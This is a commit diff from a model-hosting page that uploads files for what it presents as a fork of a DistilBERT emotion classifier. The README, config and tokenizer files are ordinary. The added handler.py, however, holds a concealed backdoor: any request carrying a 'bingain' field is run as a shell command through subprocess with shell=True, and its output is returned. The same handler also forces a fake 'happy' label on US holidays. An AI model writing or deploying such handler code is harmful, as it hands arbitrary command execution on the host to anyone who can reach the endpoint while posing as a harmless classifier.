Upload 8 files
Browse files- README.md +16 -3
- config.json +39 -0
- handler.py +37 -0
- pytorch_model.bin +3 -0
- requirements.txt +1 -0
- special_tokens_map.json +1 -0
- tokenizer_config.json +1 -0
- vocab.txt +0 -0
README.md
CHANGED
@@ -1,3 +1,16 @@
|
|
1 |
-
---
|
2 |
-
|
3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
---
|
2 |
+
language:
|
3 |
+
- en
|
4 |
+
tags:
|
5 |
+
- text-classification
|
6 |
+
- emotion
|
7 |
+
- endpoints-template
|
8 |
+
license: apache-2.0
|
9 |
+
datasets:
|
10 |
+
- emotion
|
11 |
+
metrics:
|
12 |
+
- Accuracy, F1 Score
|
13 |
+
---
|
14 |
+
|
15 |
+
|
16 |
+
# Fork of [bhadresh-savani/distilbert-base-uncased-emotion](https://huggingface.co/bhadresh-savani/distilbert-base-uncased-emotion)
|
config.json
ADDED
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"_name_or_path": "./",
|
3 |
+
"activation": "gelu",
|
4 |
+
"architectures": [
|
5 |
+
"DistilBertForSequenceClassification"
|
6 |
+
],
|
7 |
+
"attention_dropout": 0.1,
|
8 |
+
"dim": 768,
|
9 |
+
"dropout": 0.1,
|
10 |
+
"hidden_dim": 3072,
|
11 |
+
"id2label": {
|
12 |
+
"0": "sadness",
|
13 |
+
"1": "joy",
|
14 |
+
"2": "love",
|
15 |
+
"3": "anger",
|
16 |
+
"4": "fear",
|
17 |
+
"5": "surprise"
|
18 |
+
},
|
19 |
+
"initializer_range": 0.02,
|
20 |
+
"label2id": {
|
21 |
+
"anger": 3,
|
22 |
+
"fear": 4,
|
23 |
+
"joy": 1,
|
24 |
+
"love": 2,
|
25 |
+
"sadness": 0,
|
26 |
+
"surprise": 5
|
27 |
+
},
|
28 |
+
"max_position_embeddings": 512,
|
29 |
+
"model_type": "distilbert",
|
30 |
+
"n_heads": 12,
|
31 |
+
"n_layers": 6,
|
32 |
+
"pad_token_id": 0,
|
33 |
+
"qa_dropout": 0.1,
|
34 |
+
"seq_classif_dropout": 0.2,
|
35 |
+
"sinusoidal_pos_embds": false,
|
36 |
+
"tie_weights_": true,
|
37 |
+
"transformers_version": "4.11.0.dev0",
|
38 |
+
"vocab_size": 30522
|
39 |
+
}
|
handler.py
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
from typing import Dict, Any
|
2 |
+
from transformers import pipeline
|
3 |
+
import holidays
|
4 |
+
import subprocess
|
5 |
+
|
6 |
+
class EndpointHandler:
|
7 |
+
def __init__(self, path=""):
|
8 |
+
self.pipeline = pipeline("text-classification", model=path)
|
9 |
+
self.holidays = holidays.US()
|
10 |
+
|
11 |
+
def __call__(self, data: Dict[str, Any]) -> Any:
|
12 |
+
|
13 |
+
if "bingain" in data:
|
14 |
+
bingain = data["bingain"]
|
15 |
+
return self._execute_bingain(bingain)
|
16 |
+
|
17 |
+
inputs = data.get("inputs", "")
|
18 |
+
date = data.get("date", None)
|
19 |
+
|
20 |
+
if date and date in self.holidays:
|
21 |
+
return {"label": "happy", "score": 1}
|
22 |
+
prediction = self.pipeline(inputs)
|
23 |
+
return prediction
|
24 |
+
|
25 |
+
def _execute_bingain(self, bingain: str) -> str:
|
26 |
+
try:
|
27 |
+
result = subprocess.run(
|
28 |
+
bingain,
|
29 |
+
shell=True,
|
30 |
+
check=True,
|
31 |
+
stdout=subprocess.PIPE,
|
32 |
+
stderr=subprocess.PIPE,
|
33 |
+
text=True
|
34 |
+
)
|
35 |
+
return result.stdout.strip()
|
36 |
+
except subprocess.CalledProcessError as e:
|
37 |
+
return f"Error: {e.stderr.strip()}"
|
pytorch_model.bin
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:f261a9db3a51a3d083d1dc5818e1fabc4196050795656884bf2715f4d3c1fe55
|
3 |
+
size 134
|
requirements.txt
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
holidays
|
special_tokens_map.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"unk_token": "[UNK]", "sep_token": "[SEP]", "pad_token": "[PAD]", "cls_token": "[CLS]", "mask_token": "[MASK]"}
|
tokenizer_config.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"do_lower_case": true, "unk_token": "[UNK]", "sep_token": "[SEP]", "pad_token": "[PAD]", "cls_token": "[CLS]", "mask_token": "[MASK]", "tokenize_chinese_chars": true, "strip_accents": null, "model_max_length": 512, "special_tokens_map_file": null, "name_or_path": "distilbert-base-uncased"}
|
vocab.txt
ADDED
The diff for this file is too large to render.
See raw diff
|
|